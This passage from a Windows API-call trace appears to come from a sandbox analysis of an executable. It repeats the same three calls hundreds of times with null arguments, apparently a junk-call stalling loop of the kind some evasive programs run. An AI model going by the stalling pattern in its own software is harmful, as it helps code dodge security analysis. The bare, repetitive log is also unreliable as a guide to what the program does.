(lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.774] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.774] AddAtomA (lpString=0x0) returned 0x0 [0047.774] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.775] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.775] AddAtomA (lpString=0x0) returned 0x0 [0047.775] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.776] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.776] AddAtomA (lpString=0x0) returned 0x0 [0047.776] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.777] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.777] AddAtomA (lpString=0x0) returned 0x0 [0047.777] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.778] AddAtomA (lpString=0x0) returned 0x0 [0047.778] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.778] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.779] AddAtomA (lpString=0x0) returned 0x0 [0047.779] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.779] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.780] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.780] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.780] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.781] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.781] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.781] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.782] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.782] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.782] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.783] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.783] AddAtomA (lpString=0x0) returned 0x0 [0047.783] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.784] AddAtomA (lpString=0x0) returned 0x0 [0047.784] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.784] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 